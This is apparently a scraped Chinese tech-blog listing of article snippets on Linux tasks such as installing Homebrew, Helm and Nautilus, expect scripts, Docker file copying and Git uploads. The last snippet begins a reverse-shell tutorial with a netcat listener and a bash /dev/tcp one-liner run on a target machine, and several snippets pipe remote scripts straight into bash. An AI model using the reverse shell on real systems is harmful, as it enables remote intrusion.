1.安装nautilus apt install nautilus 2.安装nautilus打开终端的扩展 apt install nautilus-extension-gnome-terminal 3.重启nautilus nautilus -q ...
分类:
其他好文 时间:
2020-06-27 16:09:47
阅读次数:
95
shell expect spawn、linux expect 用法小记 看着舒服点 mezheng 2012-01-09 23:40:24 19138 收藏 1 分类专栏: shell 文章标签: shell linux 脚本 windows bash cmd 使用expect实现自动登录的脚本, ...
分类:
系统相关 时间:
2020-06-27 11:35:53
阅读次数:
62
安装 Homebrew /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" 如果安装过程中一直卡在 clone homebrew-core,可以退出后执行以 ...
分类:
其他好文 时间:
2020-06-27 11:31:21
阅读次数:
49
一、基础配置 依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-elasticsearch</artifactId> </dependency> 客户端配置 ...
分类:
编程语言 时间:
2020-06-27 11:22:15
阅读次数:
82
Centos系统请使用以下命令:yum install wget -y && wget -O auto_disk.sh http://download.bt.cn/tools/auto_disk.sh && bash auto_disk.sh Ubuntu系统请使用以下命令:wget -O auto ...
分类:
系统相关 时间:
2020-06-27 11:17:00
阅读次数:
207
准备工作 安装Helm curl -L https://git.io/get_helm.sh | bash 创建账户 cat > heml-rbac.yaml << EOF apiVersion: v1 kind: ServiceAccount metadata: name: tiller name ...
分类:
其他好文 时间:
2020-06-27 09:38:49
阅读次数:
119
传输文件到docker容器 首先需要知道docker容器的container_id,可以使用docker ps命令来查看你要操作的docker容器的container_id Docker容器向宿主机传送文件 格式: docker cp container_id:<docker容器内的路径> <本地保 ...
分类:
其他好文 时间:
2020-06-27 09:29:41
阅读次数:
66
#通过git Bash Here把文件夹上传到github 前提:安装好git,鼠标右键选择 ##1.指定目录: ##2.第一次上传项目(需先把GitHub仓库克隆到本地): git clone github仓库 ###如下可以快速复制自己GitHub地址: ##3.把项目文件夹内容添加进来: gi ...
分类:
Web程序 时间:
2020-06-27 00:09:00
阅读次数:
117
假设本机地址10.10.10.11,监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > / ...
分类:
系统相关 时间:
2020-06-26 23:49:20
阅读次数:
66